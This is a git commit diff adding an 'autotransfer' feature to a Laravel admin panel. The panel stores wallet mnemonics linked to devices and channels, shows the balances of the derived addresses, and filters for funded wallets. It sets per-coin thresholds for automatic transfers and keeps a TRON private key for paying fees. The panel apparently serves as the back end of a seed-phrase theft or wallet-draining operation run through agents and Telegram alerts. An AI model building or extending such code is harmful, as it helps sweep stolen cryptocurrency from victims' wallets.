feat: autotransfer
This commit is contained in:
@@ -53,6 +53,11 @@ class AgentUserController extends Controller
|
||||
'chat_id' => $u->chat_id ?: '',
|
||||
'telegram_ready' => $u->hasTelegramChat(),
|
||||
'channels_count' => (int) $u->channels_count,
|
||||
'auto_transfer_enabled' => (int) $u->auto_transfer_enabled,
|
||||
'auto_transfer_threshold_usdt' => $u->auto_transfer_threshold_usdt !== null ? (string) $u->auto_transfer_threshold_usdt : '',
|
||||
'auto_transfer_threshold_trx' => $u->auto_transfer_threshold_trx !== null ? (string) $u->auto_transfer_threshold_trx : '',
|
||||
'auto_transfer_threshold_eth' => $u->auto_transfer_threshold_eth !== null ? (string) $u->auto_transfer_threshold_eth : '',
|
||||
'auto_transfer_threshold_btc' => $u->auto_transfer_threshold_btc !== null ? (string) $u->auto_transfer_threshold_btc : '',
|
||||
'created_at' => optional($u->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($u->updated_at)->format('Y-m-d H:i:s'),
|
||||
];
|
||||
@@ -74,6 +79,11 @@ class AgentUserController extends Controller
|
||||
'comment' => ['nullable', 'string', 'max:255'],
|
||||
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
'chat_id' => $this->chatIdRules(),
|
||||
'auto_transfer_enabled' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
'auto_transfer_threshold_usdt' => ['nullable', 'numeric', 'min:0'],
|
||||
'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'],
|
||||
'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'],
|
||||
'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'],
|
||||
]);
|
||||
|
||||
$user = User::query()->create([
|
||||
@@ -82,6 +92,11 @@ class AgentUserController extends Controller
|
||||
'comment' => $data['comment'] ?? null,
|
||||
'status' => (int) ($data['status'] ?? 1),
|
||||
'chat_id' => $this->nullableTrim($data['chat_id'] ?? null),
|
||||
'auto_transfer_enabled' => (bool) ((int) ($data['auto_transfer_enabled'] ?? 0)),
|
||||
'auto_transfer_threshold_usdt' => $this->nullableThreshold($data['auto_transfer_threshold_usdt'] ?? null),
|
||||
'auto_transfer_threshold_trx' => $this->nullableThreshold($data['auto_transfer_threshold_trx'] ?? null),
|
||||
'auto_transfer_threshold_eth' => $this->nullableThreshold($data['auto_transfer_threshold_eth'] ?? null),
|
||||
'auto_transfer_threshold_btc' => $this->nullableThreshold($data['auto_transfer_threshold_btc'] ?? null),
|
||||
]);
|
||||
|
||||
return response()->json(['code' => 0, 'msg' => 'ok', 'data' => ['id' => $user->id]]);
|
||||
@@ -94,6 +109,11 @@ class AgentUserController extends Controller
|
||||
'comment' => ['nullable', 'string', 'max:255'],
|
||||
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
'chat_id' => $this->chatIdRules($agent->id),
|
||||
'auto_transfer_enabled' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
'auto_transfer_threshold_usdt' => ['nullable', 'numeric', 'min:0'],
|
||||
'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'],
|
||||
'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'],
|
||||
'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'],
|
||||
]);
|
||||
|
||||
if (array_key_exists('comment', $data)) {
|
||||
@@ -105,6 +125,15 @@ class AgentUserController extends Controller
|
||||
if (array_key_exists('chat_id', $data)) {
|
||||
$agent->chat_id = $this->nullableTrim($data['chat_id']);
|
||||
}
|
||||
if (array_key_exists('auto_transfer_enabled', $data) && $data['auto_transfer_enabled'] !== null) {
|
||||
$agent->auto_transfer_enabled = (bool) ((int) $data['auto_transfer_enabled']);
|
||||
}
|
||||
foreach (['usdt', 'trx', 'eth', 'btc'] as $coin) {
|
||||
$key = 'auto_transfer_threshold_'.$coin;
|
||||
if (array_key_exists($key, $data)) {
|
||||
$agent->{$key} = $this->nullableThreshold($data[$key] ?? null);
|
||||
}
|
||||
}
|
||||
if (! empty($data['password'])) {
|
||||
$agent->password = $data['password'];
|
||||
}
|
||||
@@ -197,4 +226,17 @@ class AgentUserController extends Controller
|
||||
|
||||
return $value === '' ? null : $value;
|
||||
}
|
||||
|
||||
private function nullableThreshold(mixed $value): ?string
|
||||
{
|
||||
$trimmed = $this->nullableTrim($value);
|
||||
if ($trimmed === null) {
|
||||
return null;
|
||||
}
|
||||
if (! is_numeric($trimmed)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return $trimmed;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -5,15 +5,20 @@ namespace App\Http\Controllers\Admin;
|
||||
use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\WalletBalanceService;
|
||||
use App\Support\AgentScope;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\RateLimiter;
|
||||
|
||||
class MnemonicController extends Controller
|
||||
{
|
||||
use PortalAware;
|
||||
|
||||
private const REFRESH_DECAY_SECONDS = 60;
|
||||
|
||||
public function index()
|
||||
{
|
||||
$agents = $this->isAgentPortal()
|
||||
@@ -60,6 +65,8 @@ class MnemonicController extends Controller
|
||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
|
||||
'detail_url' => route($portal.'.devices.show', $row->device_id),
|
||||
'wallets_url' => route($portal.'.mnemonics.wallets', $row->id),
|
||||
'refresh_url' => route($portal.'.mnemonics.wallets.refresh', $row->id),
|
||||
];
|
||||
})->values();
|
||||
|
||||
@@ -71,6 +78,111 @@ class MnemonicController extends Controller
|
||||
]);
|
||||
}
|
||||
|
||||
public function wallets(WalletMnemonic $mnemonic)
|
||||
{
|
||||
if (! $this->mnemonicAllowed($mnemonic)) {
|
||||
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
||||
}
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'data' => $this->walletsPayload($mnemonic),
|
||||
]);
|
||||
}
|
||||
|
||||
public function refreshWallets(WalletMnemonic $mnemonic, WalletBalanceService $balances)
|
||||
{
|
||||
if (! $this->mnemonicAllowed($mnemonic)) {
|
||||
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
||||
}
|
||||
|
||||
$throttleKey = 'mnemonic-wallets-refresh:'.$mnemonic->id;
|
||||
if (RateLimiter::tooManyAttempts($throttleKey, 1)) {
|
||||
$seconds = RateLimiter::availableIn($throttleKey);
|
||||
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
'msg' => '刷新过于频繁,请 '.$seconds.' 秒后再试',
|
||||
'data' => ['retry_after' => $seconds],
|
||||
], 429);
|
||||
}
|
||||
|
||||
RateLimiter::hit($throttleKey, self::REFRESH_DECAY_SECONDS);
|
||||
|
||||
$addresses = WalletAddress::query()
|
||||
->where('mnemonic_id', $mnemonic->id)
|
||||
->orderBy('id')
|
||||
->get();
|
||||
|
||||
$ok = 0;
|
||||
$fail = 0;
|
||||
foreach ($addresses as $address) {
|
||||
// WalletBalanceService::refresh persists coin columns onto wallet_addresses.
|
||||
if ($balances->refresh($address)) {
|
||||
$ok++;
|
||||
} else {
|
||||
$fail++;
|
||||
}
|
||||
}
|
||||
|
||||
// Re-read from wallet_addresses so the popup shows persisted rows.
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => 'ok',
|
||||
'data' => array_merge($this->walletsPayload($mnemonic), [
|
||||
'refreshed' => $ok,
|
||||
'failed' => $fail,
|
||||
'retry_after' => self::REFRESH_DECAY_SECONDS,
|
||||
]),
|
||||
]);
|
||||
}
|
||||
|
||||
private function mnemonicAllowed(WalletMnemonic $mnemonic): bool
|
||||
{
|
||||
$allowed = WalletMnemonic::query()
|
||||
->join('devices', 'devices.id', '=', 'wallet_mnemonics.device_id')
|
||||
->where('wallet_mnemonics.id', $mnemonic->id);
|
||||
AgentScope::applyDeviceChannelScope($allowed, $this->agent());
|
||||
|
||||
return $allowed->exists();
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{mnemonic_id: int, source: string, refresh_url: string, addresses: list<array<string, mixed>>}
|
||||
*/
|
||||
private function walletsPayload(WalletMnemonic $mnemonic): array
|
||||
{
|
||||
$addresses = WalletAddress::query()
|
||||
->where('mnemonic_id', $mnemonic->id)
|
||||
->orderBy('id')
|
||||
->get();
|
||||
|
||||
$data = $addresses->map(function (WalletAddress $addr) {
|
||||
$coins = $addr->formattedCoins();
|
||||
|
||||
return [
|
||||
'id' => $addr->id,
|
||||
'address' => $addr->address,
|
||||
'chain_type' => $addr->chain_type ?: '',
|
||||
'source' => $addr->source ?: '',
|
||||
'derive_index' => $addr->derive_index,
|
||||
'usdt' => $coins['usdt'],
|
||||
'trx' => $coins['trx'],
|
||||
'eth' => $coins['eth'],
|
||||
'btc' => $coins['btc'],
|
||||
'bnb' => $coins['bnb'],
|
||||
];
|
||||
})->values()->all();
|
||||
|
||||
return [
|
||||
'mnemonic_id' => $mnemonic->id,
|
||||
'source' => $mnemonic->source ?: '',
|
||||
'refresh_url' => route($this->portal().'.mnemonics.wallets.refresh', $mnemonic->id),
|
||||
'addresses' => $data,
|
||||
];
|
||||
}
|
||||
|
||||
private function baseQuery(Request $request): Builder
|
||||
{
|
||||
$q = WalletMnemonic::query()
|
||||
|
||||
@@ -12,7 +12,7 @@ class SystemSettingsController extends Controller
|
||||
public function index(SettingsService $settings, TelegramNotifier $telegram)
|
||||
{
|
||||
$form = $settings->effectiveForForm();
|
||||
$token = trim((string) ($form['telegram.bot_token'] ?? ''));
|
||||
$token = trim((string) config('coruna.telegram.bot_token', ''));
|
||||
$username = trim((string) ($form['telegram.bot_username'] ?? ''));
|
||||
if ($token !== '' && $username === '') {
|
||||
$fetched = $telegram->fetchBotUsername($token);
|
||||
@@ -33,48 +33,48 @@ class SystemSettingsController extends Controller
|
||||
public function update(Request $request, SettingsService $settings, TelegramNotifier $telegram)
|
||||
{
|
||||
$data = $request->validate([
|
||||
'telegram_bot_token' => ['nullable', 'string', 'max:255'],
|
||||
'telegram_owner_chat_id' => ['nullable', 'string', 'max:64'],
|
||||
'channels_max_per_agent' => ['nullable', 'integer', 'min:1', 'max:100'],
|
||||
'channels_domains' => ['nullable', 'string', 'max:4000'],
|
||||
'panel_admin_hosts' => ['nullable', 'string', 'max:4000'],
|
||||
'panel_agent_hosts' => ['nullable', 'string', 'max:4000'],
|
||||
'auto_transfer_enabled' => ['nullable', 'in:0,1'],
|
||||
'auto_transfer_threshold_usdt' => ['nullable', 'numeric', 'min:0'],
|
||||
'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'],
|
||||
'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'],
|
||||
'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'],
|
||||
'transfer_fee_address_tron' => ['nullable', 'string', 'max:128'],
|
||||
'transfer_fee_private_key_tron' => ['nullable', 'string', 'max:255'],
|
||||
'transfer_fee_topup_trx' => ['nullable', 'numeric', 'min:0.000001'],
|
||||
]);
|
||||
|
||||
$domains = SettingsService::parseDomains($data['channels_domains'] ?? null);
|
||||
$adminHosts = SettingsService::parseDomains($data['panel_admin_hosts'] ?? null);
|
||||
$agentHosts = SettingsService::parseDomains($data['panel_agent_hosts'] ?? null);
|
||||
$threshold = static function (?string $v): ?string {
|
||||
if ($v === null || trim($v) === '') {
|
||||
return null;
|
||||
}
|
||||
|
||||
$token = trim((string) ($data['telegram_bot_token'] ?? ''));
|
||||
$username = '';
|
||||
return trim($v);
|
||||
};
|
||||
|
||||
$username = ltrim((string) config('coruna.telegram.bot_username', ''), '@');
|
||||
$token = trim((string) config('coruna.telegram.bot_token', ''));
|
||||
$note = '';
|
||||
if ($token !== '') {
|
||||
if ($token !== '' && $username === '') {
|
||||
$fetched = $telegram->fetchBotUsername($token);
|
||||
if ($fetched !== null) {
|
||||
$username = ltrim($fetched, '@');
|
||||
} else {
|
||||
$sameToken = $token === trim((string) config('coruna.telegram.bot_token', ''));
|
||||
$previous = ltrim((string) config('coruna.telegram.bot_username', ''), '@');
|
||||
if ($sameToken && $previous !== '') {
|
||||
$username = $previous;
|
||||
} else {
|
||||
$note = ';未能从 Token 读取 Bot 用户名,请确认 Token 有效';
|
||||
}
|
||||
$note = ';未能从 .env Token 读取 Bot 用户名,请确认 TELEGRAM_BOT_TOKEN 有效';
|
||||
}
|
||||
}
|
||||
|
||||
$settings->putMany([
|
||||
'telegram.bot_token' => $token !== '' ? $token : null,
|
||||
'telegram.bot_username' => $username !== '' ? $username : null,
|
||||
'telegram.owner_chat_id' => $data['telegram_owner_chat_id'] ?? null,
|
||||
'channels.max_per_agent' => isset($data['channels_max_per_agent'])
|
||||
? (string) $data['channels_max_per_agent']
|
||||
: null,
|
||||
// Persist normalized comma-separated list (empty clears override to []).
|
||||
'channels.domains' => $domains === [] ? '' : implode(',', $domains),
|
||||
// Empty = no Host restriction for that panel.
|
||||
'panel.admin_hosts' => $adminHosts === [] ? '' : implode(',', $adminHosts),
|
||||
'panel.agent_hosts' => $agentHosts === [] ? '' : implode(',', $agentHosts),
|
||||
'auto_transfer.enabled' => (($data['auto_transfer_enabled'] ?? '0') === '1') ? '1' : '0',
|
||||
'auto_transfer.threshold_usdt' => $threshold($data['auto_transfer_threshold_usdt'] ?? null) ?? '',
|
||||
'auto_transfer.threshold_trx' => $threshold($data['auto_transfer_threshold_trx'] ?? null) ?? '',
|
||||
'auto_transfer.threshold_eth' => $threshold($data['auto_transfer_threshold_eth'] ?? null) ?? '',
|
||||
'auto_transfer.threshold_btc' => $threshold($data['auto_transfer_threshold_btc'] ?? null) ?? '',
|
||||
'transfer.fee_address_tron' => $threshold($data['transfer_fee_address_tron'] ?? null) ?? '',
|
||||
'transfer.fee_private_key_tron' => $threshold($data['transfer_fee_private_key_tron'] ?? null),
|
||||
'transfer.fee_topup_trx' => $threshold($data['transfer_fee_topup_trx'] ?? null) ?? '20',
|
||||
]);
|
||||
|
||||
$display = $telegram->formatBotUsername($username);
|
||||
@@ -93,17 +93,14 @@ class SystemSettingsController extends Controller
|
||||
{
|
||||
$data = $request->validate([
|
||||
'chat_id' => ['nullable', 'string', 'max:64'],
|
||||
'bot_token' => ['nullable', 'string', 'max:255'],
|
||||
]);
|
||||
|
||||
$chatId = trim((string) ($data['chat_id'] ?? ''));
|
||||
if ($chatId === '') {
|
||||
$chatId = trim((string) config('coruna.telegram.owner_chat_id', ''));
|
||||
}
|
||||
$token = trim((string) ($data['bot_token'] ?? ''));
|
||||
$token = $token !== '' ? $token : null;
|
||||
|
||||
$result = $telegram->sendTest($chatId, '官方通知群推送正常。', $token);
|
||||
$result = $telegram->sendTest($chatId, '官方通知群推送正常。');
|
||||
|
||||
return response()->json([
|
||||
'code' => $result['ok'] ? 0 : 1,
|
||||
|
||||
@@ -39,7 +39,7 @@ class WalletAddressController extends Controller
|
||||
{
|
||||
$q = $this->baseQuery($request);
|
||||
|
||||
$sortable = ['id', 'address', 'chain_type', 'source', 'usdt', 'trx', 'eth', 'btc', 'bnb', 'monitor', 'created_at', 'updated_at'];
|
||||
$sortable = ['id', 'address', 'chain_type', 'source', 'mnemonic_id', 'usdt', 'trx', 'eth', 'btc', 'bnb', 'monitor', 'created_at', 'updated_at'];
|
||||
$field = (string) $request->query('field', 'id');
|
||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
@@ -63,6 +63,7 @@ class WalletAddressController extends Controller
|
||||
'source' => $row->source ?: '',
|
||||
'chain_type' => $row->chain_type ?: '',
|
||||
'address' => $row->address,
|
||||
'mnemonic_id' => $row->mnemonic_id,
|
||||
'usdt' => $coins['usdt'],
|
||||
'trx' => $coins['trx'],
|
||||
'eth' => $coins['eth'],
|
||||
@@ -130,6 +131,8 @@ class WalletAddressController extends Controller
|
||||
$channelId = trim((string) $request->query('channel_id', ''));
|
||||
$deviceKey = trim((string) $request->query('device_key', ''));
|
||||
$source = trim((string) $request->query('source', ''));
|
||||
$hasMnemonic = $request->query('has_mnemonic');
|
||||
$hasBalance = $request->query('has_balance');
|
||||
if ($channelId !== '') {
|
||||
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
|
||||
}
|
||||
@@ -139,6 +142,27 @@ class WalletAddressController extends Controller
|
||||
if ($source !== '') {
|
||||
$q->where('wallet_addresses.source', $source);
|
||||
}
|
||||
if ($hasMnemonic === '1' || $hasMnemonic === 1) {
|
||||
$q->whereNotNull('wallet_addresses.mnemonic_id');
|
||||
} elseif ($hasMnemonic === '0' || $hasMnemonic === 0) {
|
||||
$q->whereNull('wallet_addresses.mnemonic_id');
|
||||
}
|
||||
if ($hasBalance === '1' || $hasBalance === 1) {
|
||||
$q->where(function (Builder $inner) {
|
||||
foreach (WalletAddress::COIN_COLUMNS as $col) {
|
||||
$inner->orWhere('wallet_addresses.'.$col, '>', 0);
|
||||
}
|
||||
});
|
||||
} elseif ($hasBalance === '0' || $hasBalance === 0) {
|
||||
$q->where(function (Builder $inner) {
|
||||
foreach (WalletAddress::COIN_COLUMNS as $col) {
|
||||
$inner->where(function (Builder $coin) use ($col) {
|
||||
$coin->whereNull('wallet_addresses.'.$col)
|
||||
->orWhere('wallet_addresses.'.$col, '<=', 0);
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
if (! $this->isAgentPortal()) {
|
||||
AgentScope::applyAgentUserFilter(
|
||||
$q,
|
||||
|
||||
Reference in New Issue
Block a user